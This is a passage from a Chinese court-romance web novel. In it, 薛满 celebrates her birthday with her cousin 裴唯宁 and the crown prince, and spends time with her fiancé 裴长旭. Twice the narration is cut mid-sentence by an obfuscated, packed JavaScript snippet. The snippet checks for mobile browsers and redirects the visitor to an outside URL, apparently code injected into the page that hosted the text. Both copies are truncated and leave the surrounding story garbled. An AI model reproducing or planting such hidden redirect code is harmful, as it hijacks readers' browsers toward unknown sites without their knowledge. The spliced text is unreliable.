“咳咳。”裴唯宁清清嗓,道:“甭管谁说的,横竖不是我喜欢的类型。” “你先说说,三哥评价的原话是什么?” “……胸有城府,单特孑立。” “他能得三哥如此评价,想来是名不俗青年。”薛满道:“老恒安侯威名远扬,其孙却寂寂无闻,不像别的世家子弟般张扬。” 裴唯宁拉着她坐下,压着声道:“错了,他并非不想张扬,而是不敢张扬。” 薛满问:“此话从何说起?” 裴唯宁喝了口茶,故意卖起关子,“怎么,你很想知道吗?” 她满脸狡黠,只差写上“求我”二字。 薛满掸掸袖口,装模作样地道:“还成,也不是很想知道。时候不早,我们该出门了。” 到底是薛满棋高一着,算准裴唯宁藏不住话,不出所料,她成了不吐不快的那个人。 “别啊,等我说完再走。”裴唯宁眉飞色舞地道:“老恒安侯的妻妾共育有五名子嗣,前四个均是女儿,最后才盼来个嫡子,悉心教养到十八岁,刚到要娶亲的年纪,不承想在出海游玩时意外落水,自此杳无音信。” “然后呢?” “旁人都说他已遇难,劝老恒安侯替他立墓碑,入空棺。但老恒安侯坚信儿子还活着,派人到处苦寻,终于在一处偏僻的村子寻回世子。时隔两年,世子再度回京,曾经心悦的未婚妻早已另嫁,他百念皆灰,干脆对外放话:今生绝不娶妻。” “你继续说。” “他说到做到,此后三年不肯谈婚论嫁,老恒安侯自是怒不可遏,火速又替他议亲,便在亲事即将落定时,这位前恒安侯世子却收好包袱,远赴边疆投军去了。” “投军?” “是啊,我猜他是想做出一番功绩,以此摆脱老恒安侯的控制。但军营是何等危险的地方,不过短短半年,老恒安侯便收到了他的死讯。” “那孩子是怎么来的?” “前世子死后的第五个月,老恒安侯接回一名四岁男童,宣称是前世子的亲生骨肉,替他向父皇请封了世子之位。” “既有孩子,便得有母亲,许清桉的母亲是何人?” “谁知道呢?外头飘着各色各样的传闻,有说他母亲是不入流的伎人,也有说是会下蛊的苗疆人,还有说是成过亲的大龄寡妇……众说纷纭,真假难辨,唯一能确定的是,他母亲的身份低微,难登大雅之堂。” 莫名地,薛满感到心脏一紧,脱口而出道:“他未免可怜,自小被人说三道四。” 裴唯宁持不同意见,“他母亲没有任何名分,按道理,他顶多算个外室子,却被老恒安侯接回侯府,得了堂堂正正的世子封号,实在跟可怜没有半点关系。” 她的说法也没错。 薛满道:“好端端的,姑母怎会将他介绍给你?” “是老恒安侯想的好主意,跑到父皇面前,说他那孙子年近弱冠还未定亲,想替他寻个出身高贵、才貌双全的妻子。因他从前对太上皇有恩,父皇与母后便一口应承,转头来打听我的意思。” “他父亲早逝,生母成谜,似乎不是驸马的最佳人选。” “架不住父皇称赞他是可造之才,母后认为他不同流俗,堪为良配啊。” 说到这,她用手括在嘴边,神秘兮兮地道:“我派人暗里调查,得知他长到十九,屋里连个服侍的婢女也没有,指不定身体哪处有毛病。” 薛满听出她的意有所指,脸颊一热,“小宁,你别瞎说八道。” “恒安侯府都这么传!” “按你的说法,天底下洁身自好的男子岂非全是?” “那为何不传旁人,偏传他的?” “人云亦云,以讹传讹,饶是白也能被传成黑。”薛满道:“我反而觉得,姑父、姑母、三哥都认可的人,你不妨先接触接触。” 裴唯宁摆手,兴致索然,“还是免了,我已经跟父皇母后挑明态度,绝不嫁无父无母之辈。” 薛满闻言,不由自主地想:她与这位恒安侯世子遭遇相似,小宁不懂其中感受,她却能揣测几分。 无父无母的孩子,总有些不为人知的辛酸落寂。 * 姐妹俩叙完私话,搭乘马车前往蓥华街。这里是京城有名的洒金地,随处可见金银珠宝、绫罗绸缎、珍稀古玩铺,非达官显贵不入。 在蓥华街,一掷千金实属常见。 两人头戴幕篱,在婢女、侍卫们的环绕下,来到有璟阁挑选饰品。 雅间内,绰约多姿的妙龄少女们排成一列,颈间腕上戴着成套的翡翠首饰,绿的凝重雍容,冰的纯净清莹,紫的淡雅出尘,种水色俱佳,价值不菲。 裴唯宁挑开幕篱,露出小半张脸,略略一看,道:“还成,全部要了。” 此话一落,不仅少女们眸露诧异,连见惯大场面的谭管事都愣了下。他不着痕迹地观察面前两位少女,她们姿态端方,神秘贵气,定是哪户王侯家的千金。 他笑容可掬,“好,麻烦小姐留个府上位置,我待会亲自送过去。” 裴唯宁道:“不用,包好给她即可。” “她”指的自然是薛满。 薛满颇感意外,“给我做什么?” “做你的生辰礼物。” “你刚送了我一大箱子书,又要送我这些首饰?” “没错。” “小宁,你不对劲。” “我哪里不对劲?” “你每回做错事,便会以送礼之由,行弥补之事。” “……” 裴唯宁被说中心事,眼神阵阵发虚。因三哥保证绝不会做丁点伤害阿满的事,她便大发慈悲地答应替他保守秘密。但潜意识里,她仍觉得愧对阿满,所以才有以上的行径。 再等等,等三哥主动向阿满坦白便好。 她仗着有幕篱遮挡,脸不红气不喘地问:“你的意思是,我对你好还有错了?” “没错是没错,但是——” “你我本就是好姐妹,过几日更要亲上加亲,我对你好是理所当然。再有,这几样东西能费我几个钱?你若是喜欢,我能买下整条蓥华街送你。” 真是好大的口气! 换作往常,谭管事定当那人是在空口胡话,偏这位小姐的语气稀松平常,仿佛动动手指便能做到,令人深以为然。 他愈发地恭敬,附和道:“您说得没错,钱是身外物,重要的是喜欢。” 裴唯宁道:“听到没,正是这个理。” 薛满没有多想,“行,那我便收下,以后还你更好的东西。” “一言既出,驷马难追。”裴唯宁暗暗松了口气,轻快地道:“三哥库房里有许多好东西,明儿我要什么,你可不准小气。” “成。” 薛满爽快地答应,转向谭管事,问道:“你这有没有适合做印章的料子?” 谭管事道:“做印章用昌化鸡血石最好,刚巧店里有块上等的料子,您稍等,我马上给您拿。” 等待的空档,裴唯宁闲着打听,“你要做印章?” “你还记得姑母说过,要我给三哥绣个荷包的事吗?” “记得,母亲说成婚当天,双方得送一件亲手做的东西,以表重视与期许。”她挑着眉问:“你该不会没绣吧?” “绣是绣了,丑。”薛满说起自己的小算盘,“我想着,既然不能以质取胜,那便在数量上下功夫,你以为如何?” “意思是,你送一个丑的不够,还要送两个?” “……” “哈哈哈,逗你的,放心好了,甭管你送什么,三哥都会喜欢至极。” 买好首饰,又选好印章料子,薛满朝外看了眼天色,“三哥该回来了,我们去近水楼等他吧。” 裴唯宁忍不住嘟囔:“三哥真是过分,明知今日是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483960|141498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的生辰,非要跑去山上沾晦气。” 薛满眼神一黯,仍替他说话,“生死不由人,他也是不得已。” “唉,你啊,就是太善解人意,太委曲求全。”裴唯宁哼道:“换作是我,必定将江诗韵的坟移回老家去,隔着十万八千里,我看她还怎么作妖。” “人都死了,再计较过往只会让三哥觉得我心胸狭隘。”薛满道:“人总要往前看,不是吗?” 是。 裴唯宁叹着气想:希望三哥能快刀斩乱麻,趁早将姓江的赶出京城,还阿满一个清静日子。 * 近水楼乃京城第一酒楼,地处银月湖畔,南面临水,开窗可见清风徐徐,杨柳绕堤,湖色涟漪。 它前门是永安大街,宽阔平坦,来往的马车络绎不绝。 薛满的马车停在大门口,两人由婢女们搀扶着下地,还未站稳,便听身后传来压低的斥责声。 “臭乞丐,睁大眼睛瞧瞧,近水楼是你该来的地方吗?” “我,我饿了好多天,实在没力气走路了,求您行行好,施舍我一口饭吃。” “去去去,我最看不得你们这些懒汉,明明有手有脚,却不肯劳作,光想着天上掉馅饼的好事。” “大哥,并非我好吃懒做,是我没有手臂,身体又不好,没有地方肯要我做工……” 两人循声望去,见十步开外,站着一名衣衫褴褛、面黄肌瘦的中年男子。他身形佝偻,左手端破碗,右边衣袖空荡荡地垂落,神色凄苦不堪。 相反,与他对话的近水楼伙计人高马大,态度强硬地挥手驱赶,“你当我是三岁小儿,会信你编的鬼话?赶紧走,别碍着我们做生意。” 中年男子连声哀求,“我只要一口饭吃,冷的也不要紧,求您了。” 伙计皱眉,愈加不耐地道:“听不懂人话是吧?行,那就别怪我不客气。” 他撸着袖子上前,眼看要出手推搡,行人纷纷仗义出言。 “他不过是想讨点饭吃,你又何苦咄咄逼人?” “说得没错,近水楼日进斗金,却连个乞丐都容不下,真是为富不仁!” 一番话砸得伙计恼羞成怒,他提高嗓门,大声道:“你们懂什么,这种乞丐都是靠装残卖傻骗取他人同情,背地里却吃香喝辣,过得比你们都要滋润!不信你们瞧,他的胳膊定好好藏在衣服里呢!” 他说着便去掰中年男子的肩膀,后者被他揪个正着,哎哟哟地直叫唤。 “大哥,你快松手,我的胳膊好疼!” “别装了,我要让大伙看清你的真面目!” 中年男子极力挣扎,伙计却不依不饶,拉拉扯扯间,中年男子的袖子被撕裂,露出狰狞畸形,在肩下两寸处便戛然而止的右臂——他确实身负畸疾! 围观的众人惊呼出声,怜悯、畏怯、嫌恶皆有。 中年男子的伤处被陡然暴露,窘迫地缩起身子,简直无地自容。 伙计见状,掏出几枚铜板扔到地上,假惺惺地道:“行了,看你可怜的分上,我请你吃顿饱饭。” 中年男子眼眶泛红,无助地盯着铜板,在寥剩无几的尊严与饱腹间来回挣扎。 捡还是不捡? 犹豫间,有人打破僵局,“慢着。” 中年男子抬头,眼帘映入两位戴着幕篱的贵族小姐。 左边紫衣裳的小姐道:“明荟,去拿件新衣裳给他。” 右边粉衣的小姐跟着道:“林何举,带他进近水楼,想吃什么点什么,我来请客。” 须臾的工夫,中年男子已披上崭新的外衣,被面容可亲的年轻男子往近水楼里带。 伙计忙挡住他们的去路,“他不能进去!” “为何?” “一个乞丐,怎么能进近水楼?” “有意思。”人群中走出一名手执折扇的锦衣男子,他年约二十五六,五官清俊,气质温厚,微笑着道:“我倒不知,小小的近水楼,规矩竟然如此之大。” 这声音听着并不陌生,薛满立刻认出来人,正是当今太子裴长泽。 7. 第 7 章 伙计蒙了,他原本是想仗势欺负下乞丐,岂料不断有人帮乞丐出头。最重要的是,这些都是他惹不起的主! 他气势顿无,赔笑解释:“公子误会了,小的不是这个意思,实在是这乞丐污糟,小的怕他脏了贵人们的眼。” 裴长泽道:“据《大周记事》所记载,百年前,太祖高帝在一次微服私访中,偶遇瓢泼大雨,便在破庙歇脚休息。彼时,庙中还有一位年事已高的老乞丐,见高帝衣衫淋湿,饥饿难耐,主动借衣送食。高帝感念他的心善,邀他进宫,在百花厅设宴款待,两人把酒言欢,成为一段传世美谈。” 伙计没念过多少书,对此类典故闻所未闻,但用脚指头想想也知,对方定是在借此敲打自己! 果然听他道:“高帝英明神武,至尊至贵,尚且对乞者礼遇有加。你近水楼里的客人再有来头,莫非能越过高帝?” 有人随声附和:“说得没错,高帝能对乞丐一视同仁,你们为何不能?” “王公贵族是人,乞丐同样也是人,凭什么不能共处一室!” 伙计生怕事情闹大,急得满头是汗,“你们有话好好说,别在门前大声喧哗。” “你对他可没有好脸色!” “喊你们管事出来,给大伙个明白话,他究竟能不能进近水楼!” 讨伐声此起彼伏地响起,伙计束手无策间,楼内疾步走出一名管事模样的年长者,朝众人道:“诸位好,我是近水楼的管事刘奇,方才有事缠身,来迟了一步,还望诸位见谅。” 他问了来龙去脉,朝中年男子深鞠一躬,道:“我这伙计初来乍到,行事鲁莽,对您多有得罪,我替他跟您赔个不是,还望您大人有大量,给我们个将功补过的机会。” 中年男子愣愣地道:“没,没事。” 刘管事又宽慰他一些话,随后面向众人,郑重承诺:“大伙放心,我们近水楼是百年老字号,开门做生意,只要来的都是贵客。今日之事是我管教无方,让大伙见笑了,往后我将痛定思痛,约束好他们的一言一行。” 他情真意切地自省,命人将中年男子迎进门,并当场解雇那名伙计,成功浇熄百姓们的怒火。 没了热闹看,百姓们一哄而散,门口仅剩裴长泽等人。 刘管事朝他作揖行礼,毕恭毕敬地道:“李公子,您的雅间已经安排妥当,请跟我来。” 裴长泽微微颔首,视线落在一旁的两位少女身上,笑着喊:“小宁,阿满,你们可要同来?” 先皇后去世后,裴长泽曾由当时仍是皇贵妃的薛皇后悉心教养过两年,是以,他待裴长旭、裴唯宁别样亲厚,也将薛满当作血亲表妹,轻松便能认出她们。 裴唯宁大方地摘下幕篱,“大哥,好巧,你也来近水楼用膳?” 裴长泽道:“你嫂嫂说想喝近水楼的甜汤,我恰好有空,便替她跑上一趟。” 太子妃蒋芸娘乃平章政事之女,与太子裴长泽成婚已有五年,两人感情和睦,膝下育有一女。前些日子,太子妃腹中再度传出喜讯,太医诊出是个男胎,裴长泽喜不自胜,待妻子比从前更加关爱。 裴唯宁挽着薛满的手,半真半假地埋怨:“嫂嫂好福气,想喝甜汤便有人送上门,不像我们,还要亲自跑一趟。” 裴长泽好脾气地道:“你们若是想喝,使人跟我说一声,我亦会送到你们府上。” 裴唯宁道:“我们哪敢使唤你,使唤多了,只怕嫂嫂心里责怪。” 裴长泽道:“小宁,你嫂嫂没那么小心眼。” 裴唯宁轻飘飘地回:“谁知道呢。” 都是京城的贵族小姐,裴唯宁与蒋芸娘相识甚早,不凑巧的是,这二人脾气不合,时常会闹些矛盾。蒋芸娘成为太子妃后,裴唯宁看在裴长泽的面子上,尝试与蒋芸娘化干戈为玉帛,然而蒋芸娘自持身份,处处摆起太子妃的谱,一来二去,裴唯宁也懒得再浪费情绪。 谁稀罕她搭理! 裴长泽一脸无奈,向仍戴着幕篱的少女求助:“阿满,我嘴拙说不过她,你快帮帮我。” 薛满笑道:“大哥嘴拙吗?我看不见得,你方才引用《大周记事》中高帝宴请乞者的故事,有理有据,通俗易懂,将伙计说得无言以对,叫我们着实敬佩。” 裴长泽道:“是你们出手相助在先,该我敬佩你们才对。” 两人开始客套地互夸,裴唯宁听了几句,没耐心地朝两人挥挥手,“大哥,阿满,你们在门口慢慢寒暄,我先进去了。” 她提着裙摆往阶梯上走,薛满紧随其后,没走两步,她掀开幕篱轻纱,侧首朝裴长泽狡黠地眨眼,仿佛在说:瞧瞧,我厉害吧? 裴长泽哑然失笑。 * 进入雅间,薛满摘下幕篱,精致昳丽的装扮一览无余。 裴长泽眸中划过一抹惊艳,问:“今日有什么喜事,阿满打扮得这样隆重?” 裴唯宁道:“你前些天派人往薛府送了礼,回过头却忘记缘由,太子哥哥,你真是贵人多忘事。” 裴长泽思忖片刻,用扇子一敲掌心,“是我糊涂,竟忘记今日是阿满的十六岁生辰。” 薛满坐到椅上,落落大方地道:“生辰年年都有,本就是件微不足道的小事。太子哥哥如今帮姑父协理朝政,日理万机,能见上一面已是难得。” “此言差矣,既是阿满的生辰,我便应放在心上。”裴长泽道:“为表歉意,中午我来做东,待会再带你们去街上逛逛,由你们玩个尽兴。” 裴唯宁单手托腮,凉凉地提醒:“嫂嫂还等着你送甜汤呢。” 裴长泽招手,喊来随侍的婢女,吩咐道:“跟太子妃说一声,我晚些再回府。” 他的反应让裴唯宁十分满意,瞬间换上笑颜,“我说说而已,太子哥哥别当真,三哥待会儿便来,等用完膳,他们两个自有安排。” 裴长泽了然,“行,那我们便一起用个午膳。” 雅间里设有棋案,裴长泽提议:“小宁,我们来下会棋?” 裴唯宁道:“算了吧,我见到棋盘便犯困。” 裴长泽又问薛满,“阿满,你陪我下两局?” 薛满道:“行是行,不过你得答应我一个条件。” “什么条件?” “让我三子,成吗?” “莫说三子,五子都成。” 稍后,裴唯宁跟薛满坐在一处,对着棋盘小声嘀咕。 “下这吗?” “我看看,好像不行,要么那里?” “可以,你下吧。” 薛满在盘沿落下一枚黑子,裴长泽见时机已到,执白子轻松围堵对方,将黑子吃得一干二净。 “你们输了。”他笑着道:“五弟还没到,我们再来一局?” 薛满与裴唯宁对视一眼,两人均被激起好胜心,异口同声地道:“再来!” 一名身姿纤美的婢女上前,替他们重新分拣棋子,侧脸瞧着似曾相识。 裴唯宁不由多看了几眼,认出她的身份,“我记得你是嫂嫂的婢女,叫什么来着?” 婢女敛眸,柔声回:“回公主,奴婢名叫容婧。” 裴唯宁“嗯”了声,悄悄朝薛满使眼色:这是第几个了? 薛满心照不宣,比了个数:第三个。 太子妃蒋芸娘是照旧规矩养出来的官家嫡女,安于故俗,奉行“夫君即我天”的准则。每当她怀有身孕,便会推出身边的婢女,替夫君红袖添香,分忧解难。 在她的观念里,男子三妻四妾实属正常,与其让外人得宠,倒不如提拔自己人,以求东宫里的绝对安宁。 ——说句良心话,她将来是要当皇后的人,这么想也情有可原。但让薛满和裴唯宁感到不适的是,她常用自己的这套理念来约束她们,期望她们同她一样,做个循规蹈矩、一板一眼,在家从父、出嫁从夫,甚至夫君死了都得从子的好好姑娘。 这谁受得了? 裴唯宁和薛满生来受宠,又常年被话本子里的爱情故事熏陶,两人向往的是“一生一代一双人”,是“生死契阔,与子成说”,而非自己怀有身孕,还得笑着主动给夫君纳妾送美。 总而言之:道不同,不相为谋咯! 裴长泽没注意到她们的小动作,对阿满道:“宝儿许久未见你,嘴里常念叨要去薛府找你,不知 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裴唯宁学着裴长泽的腔调,摇头晃脑地道:“甚好,甚好,借此机会,正好让你们提前体验为人爹娘的感觉。” 薛满羞赧,捻了块糕点塞进她嘴里,“小宁,你还是多吃东西少说话!” * 兄妹几人热闹地用过膳,裴长泽和裴唯宁告辞离开,裴长旭带着薛满到银月湖上钓鱼。 午后的时光静谧,湖面如镜,风轻,水也轻。 一艘玲珑秀致的画舫停在湖中央,仔细看,薛满倚栏杆而坐,手里握着根鱼竿,长长的渔线没进水里,正等待“有缘鱼”的惠顾。 半个时辰一晃而过,湖面依旧纹丝不动。 她眼神幽幽,得出结论:“钓鱼不好玩。” 裴长旭坐在她的对面,慢条斯理地泡茶,斟水,浅酌。 “你怎会突然想要钓鱼?” “我看书里写世外高人都爱钓鱼,既能静心又能养性,一钓便是好几个时辰,于是便想来试试。” “什么书?” “……”薛满总不能说,是你最不以为然的情爱话本子吧? “好了,收起鱼竿,我教你弹新曲子可好?” 当然好,端王殿下是出了名的博学多才,通晓音律,琴棋书画样样精通。 侍从搬来古琴,薛满端正坐好,问:“三哥,你要教我弹什么曲子?” “凤求凰。” 此曲乃前汉才子司马相如为心上人卓文君所作名赋,在民间流传广泛,世人常吟唱此曲,以歌颂他们之间百折不挠的爱情。 鲜为人知的是,司马相如在多年后也曾有过动摇,是以,卓文君写出《白头吟》,以“闻君有两意,故来相决绝。愿得一心人,白头不相离”来表达对爱情的期许和执着。 遥想最初,司马相如写下《凤求凰》时,定也抱着与她相同的想法吧。 薛满抛开胡思乱想,笑道:“好,你教,我来学。” 裴长旭坐到她身侧,修长的手指抚上琴弦,随意地拨弄几下,琴音如鸣佩环,低沉磁性的歌声随之流淌。 “有一美人兮,见之不忘。一日不见兮,思之如狂……” * 夜幕垂垂,天际有烟火硕然绽放,花团锦簇,与星月交辉。 漫天璀璨下,裴长旭递给薛满一枚锦盒。薛满打开看,里面装着一对雕着玉兰花枝纹,奢丽精巧的纯金臂钊。 何以致拳拳?绾臂双金环——男女间最动人的表白莫过于此。 这一刻,薛满忘却了所有的委屈与不满,他心中留有江诗韵的位置也好,在她生辰这日为江诗韵上坟也罢,不要紧,通通不要紧。 她爱他,而他会好好珍惜她,这样便足够。 “三哥。”她抱紧盒子,扑进他的怀里,哽咽着道:“我一辈子都不要跟你分开。” 裴长旭搂紧她,眸光缱绻而温柔,“嗯,我们一辈子都不分开。” 烟火的绚烂仍在继续,沉浸在短暂美好中的他们毫不知晓,分离会来得那样快,那样毅然决然。 他们终究要去往人生的不同方向。 8. 第 8 章 翌日,薛满与裴长旭依约带宝儿前往银月湖畔踏青。 宝儿的大名叫裴茹楠,封号江都郡主,她年仅三岁半,便能流利地背诵三字经,认得千八百字,端正写出自己的名字。 在相貌上,她长得像母亲蒋芸娘,是位眉清目秀、唇红齿白的小小姑娘。而在性格上,她精灵古怪,常有奇思妙想,惹得他人啼笑皆非。 裴长泽很喜欢这个聪颖灵巧的长女,蒋芸娘则不然。身为太子妃,她心心念的是诞下皇太子,巩固她将来的地位,因此,她执意替长女取名为“楠”,其中寄望一目了然。 裴茹楠虽小,却在长大的过程中,逐渐明白许多道理。她的父王是太子,成日忙于政务,没有多少时间能陪伴她。她的母妃是太子妃,有义务替皇家传宗接代,照顾夫君、管理侧妃、研究生子秘方已消耗她的绝大多数精力。 东宫很热闹,但她时常感到被冷落,好在表姑薛满经常进宫,陪她玩耍嬉闹。 惠风和畅,春意盎然,湖泊好似一弯银月,安然匍匐大地。 宫女们在湖边的大榕树下铺了几张垫子,上头摆着瓜果茶点,熏香玩件。宝儿依偎在薛满怀里,抬起头,见光影穿过枝叶间隙,如星辰般闪闪烁烁。 她伸出一只手,捉住薛满耳后的小辫子,轻轻一扯,奶声奶气地问:“阿满姑姑,我听说您马上要跟三皇叔成亲了?” 薛满不料她会问此,仍笑着回:“是的,再有四十余日,我便要嫁给你三皇叔。” “那我以后该叫您什么?是姑姑,还是皇婶?” “应当叫皇婶。” “可我不想叫您皇婶,我喜欢叫您姑姑。” “为何?” “没有为何。”宝儿将脸贴在她的胸口,神色依恋地道:“我想要您永远做我的阿满姑姑。” 裴长旭刚在湖边转了一圈,回来便听到宝儿的话,佯装冷脸,“那可不行,阿满若不当你的三皇婶,我岂非要孤寡终身?” 宝儿眨眼,天真无邪地道:“皇叔另娶一个便是。” “……” “宝儿还小,童言无忌。”薛满忍俊不禁,连忙打圆场,“三哥,你要吃荔枝吗?我帮你剥。” 裴长旭坐到她身侧,顺手拿起一颗荔枝,“我来剥。” 这会的荔枝是三月红,比其他品种都要早熟,味道不算荔枝中的拔尖,但趁早尝个鲜,从广州长途跋涉地运到京城,亦是寻常百姓吃不起的价。 他一连剥了四五个荔枝,擦净双手后,喂到薛满嘴边。 薛满红着脸摇头,裴长旭知她是难为情,便转头向宝儿,问:“吃吗?” 宝儿道:“吃。” 裴长旭道:“叫阿满一声三皇婶来听听。” 宝儿:“……” 她重新靠回薛满怀里,撒娇道:“阿满姑姑,我要吃您剥的荔枝。” “等着,我给你剥。” 薛满替宝儿剥好荔枝,跟着尝了裴长旭剥的荔枝,舌尖抿开水韧的果肉,甜中带着微酸,清润又爽口。 她笑弯了眼,“好吃。” “是吗?那再吃几颗。” “你也吃。” 宝儿见他们举止亲昵,内心难免憋闷。她好不容易跟阿满姑姑出来一趟,三皇叔偏要来凑热闹,真是讨嫌得很。 她一口气吃完荔枝,擦干净嘴,道:“阿满姑姑,我们去放风筝吧,我带了老鹰风筝,能飞得很高很高。” “行,我们走吧。” 薛满刚起身,被裴长旭压住裙摆,正色道:“宝儿先去,我有事要和阿满商量。” 宝儿无法,皱皱鼻子,跟着宫女们往远处走。 薛满跪坐回垫子,边理着裙摆,边问:“三哥要说什么事?” 裴长旭忽地伸直双腿,双手撑在背后,半阖起长眸,“没事,天气好,想与你单独待会罢了。” 他难得“没有正形”,卸下满身的光环与责任,慵懒随性的像个孩童。 薛满看在眼里,心血来潮地道:“把手给我,我替你看看手相。” “你还会看手相?” “刚从书上学的,你快伸手让我看看。” 裴长旭递手到她眼前,薛满低眸,仔仔细细地观察。 她先看正面:他的手指修长,骨节分明,指尖修剪得整洁干净。反过来再看:掌心宽厚,纹路清晰,经常握笔的地方覆着薄茧。 她抬起食指,沿着他的掌纹徐徐描绘,笑道:“这是地纹,饱满圆润,意欲你身体安康,长命百岁。” 裴长旭凤眸含笑,配合地问:“还有呢?” 薛满抚上另一条纹路,“这叫人纹,长短适宜,代表你聪明睿智,进退有度。” 裴长旭轻笑,“你继续。” 薛满故作玄虚地问:“想知道你的天纹如何吗?” “不想。” “?” 裴长旭合拢手掌,道:“她正站在我眼前,又何须多此一举去看手相?” 她心口像飘进一朵云,柔软得不可思议,以至于错过在那短瞬间,本该看到的那道天纹。 纹细,起点高,多链形,中有断裂……优柔多情,乃坎坷之相也。 * 没过多久,宝儿急匆匆地赶回来,称风筝不小心挂在了树枝上,请他们想办法取下来。 薛满打算差人去拿梯子,裴长旭却卷起衣袖,笑着道:“阿满,你忘了吗?我可是爬树的个中好手。” 薛满当然知晓他擅长爬树,幼时去行宫纳凉,他常趁着无人时,带她上树摘花,下河捉鱼。但长大后,他变得愈发沉稳,不复从前放肆。 “三哥,你……” 不等她劝,裴长旭已动作矫健地攀树而上,眨眼便处在繁茂的枝叶间。 宝儿从未见他露过这手,兴奋得直鼓掌,“三皇叔,您好厉害!” 薛满则蹙着眉,担忧地叮咛:“你注意安全,慢点取风筝,脚下千万要踩稳。” 裴长旭从容道:“放心,我马上便能取回风筝。” 风卷云舒,碧草萋萋,眼前的景色犹如一幅美画。榕树下的他们成了画中人,为无垠天地增添一笔鲜活。 ——殊不知,暗处有人正悄无声息地观察着他们。 江书韵半隐在树后,紧抿唇瓣,目不转睛地盯着远处树下的妙龄少女。她离得颇远,看不清对方的相貌,听不清他们的对话,但从细节推断,不难猜出几人相处得十分愉快。 原来殿下与未婚妻相处时是这般随性惬意。 她回想起裴长旭待自己的态度,温柔中带有距离,可亲里隐匿着高高在上的姿态,皆因他出身尊贵,拥有与生俱来的矜傲。 她是平民之女,没有显赫家世,无法跟他平起平坐,必须步步筹谋,才有机会博取他的垂怜。 真是不公平啊。 她心底隐隐滋生妒意,面无表情地想:若她与姐姐也是玉叶金枝,凭她们的样貌心计,未尝不能和薛小姐争抢端王正妃的位子。 无独有偶,竹香也道:“小姐,奴婢看那薛小姐个头矮小,分明是还未长大的模样,跟您比起来真是差得远了。” “是又如何?”江书韵道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴长旭问:“怎么了?” 她摇摇头,笑道:“没事,你赶紧擦汗。” 裴长旭擦过汗,掸去袖口沾到的叶片,道:“我去湖边洗个手,表妹同去否?” 说罢笑吟吟地看向宝儿,宝儿因才受了他的帮助,便大方地道:“你们去吧,我在原地等着。” 裴长旭问侍从要了把伞,替薛满细心地遮住太阳,两人慢悠悠地散起步。 薛满在路边摘了朵雏菊,别在鬓间,歪头问他,“好看吗?” 少女明眸皓齿,靡颜腻理,融融春光亦沦为她的陪衬。 裴长旭想也不想地道:“众里嫣然通一顾,人间颜色如尘土。” 这是夸她美,顶美。 薛满将双手背在身后,哼着歌谣往前走,心情好得无以复加。裴长旭伴在她身侧,唇畔带笑,同样乐在其中。 “这么好的风景,小宁没来真是可惜。” “她若是来,定会一时喊热,一时喊累,叽叽又喳喳,从头到尾没个消停。” 说得没错,小宁便是这副活泼跳脱的性子。 薛满掩唇偷笑,冷不丁想起件事,扭头问道:“三哥,我听小宁说,姑母想帮她跟老恒安侯的孙子牵红线。” “确有此事。” “对方是个什么样的人?” 裴长旭脚步一顿,似笑非笑地抬眸,“阿满,这是从小到大,你头回向我打听别的男子。” 9. 第 9 章 有吗? 薛满想了想,似乎真是如他所言。她并不认为这是件大事,笑道:“小宁将他的身世说得神乎其神,我听着好奇,便随口一问。” “他与旁人一样,长着两只眼睛一张嘴,并无特别之处。” “可小宁说,姑父与姑母还有你都对他赞赏有加。” “是又如何?” “呃。”薛满不确定地问:“三哥,你在不高兴吗?” 裴长旭见她懵懵懂懂,无奈地点破:“阿满,我是你的未婚夫。” “我当然知晓你是我的未婚夫,这跟他有什么关——”薛满蓦然住口,瞪圆了眼,“难不成你在吃味?” 裴长旭别开眼,下颚有轻微紧绷。 薛满不禁感到诧异,从前都是她围着三哥转,为他身边的莺莺燕燕心烦,而今却是风水轮流转,三哥成了拈酸吃醋的那人。 但他这醋吃得实在没道理。 薛满忍着笑道:“我与他素不相识,不过是闲来无事,随口问问罢了,哪里值得你往心里去?” 裴长旭明知她说得有理,嘴里却不受控制地道:“从前你还小,眼里只盛得下我。日后见的人多了,兴许会改变想法。” 薛满拍着胸脯,信誓旦旦地保证:“你放宽心,无论我认识多少人,都最喜欢你,只喜欢你。” 裴长旭先是舒了口气,随即回过神,暗斥自己的“无理取闹”。 他方才是着了什么魔,竟然吃起许清桉的醋?阿满跟许清桉是八竿子打不着的关系,今生恐怕连交谈都不会有。 想清楚后,他便道:“你既然有兴趣,我告诉你也无妨。他叫许清桉,是老恒安侯的嫡孙,两年前进入都察院当差。他多谋善虑,行事颇为老练,处理了不少棘手的案子,深得父皇认可。” “小宁说他是个不苟言笑的闷葫芦。” “与其说他闷,倒不如说是孤高,不愿淌世俗浑水。”他道:“朝堂中人才济济,亦不乏浑水摸鱼、结党营私之辈,他能做到独善其身已是难得。” “因他背后是恒安侯府,不偏倚任何一方势力,所以姑父希望能招他做婿,是吗?” “是。” “可做了驸马,他便不能再入朝为官,岂非浪费一身才能?”薛满猜道:“老恒安侯恐怕是背着他去求见姑父,并没有跟孙子达成共识。” “你猜得没错,许清桉得知此事后,第一时间便找到父皇,称他抱负未展,无意成家。” “他有什么抱负?” “青霄碑。” “啊?” “他要登上青霄碑,功垂竹帛,千古留名。” 青霄碑乃大周开朝时,太祖高帝在圣庙立下的一尊石碑,唯有殊勋茂绩者才能在碑上镌刻姓名。 老恒安侯便是其中一位,他大半生都在边境打仗,用赫赫战功堆垒起通往青霄碑的高梯。多年后,老恒安侯的嫡子毅然从戎,憾而捐躯。直到如今,老恒安侯的孙子又是壮志凌云,意图登上青霄碑。 不愧是祖孙三代,个个都志存高远。 “难怪姑父和姑母中意他。”薛满道:“他有风云之志是好事,但青霄碑亦非常人所能及。” 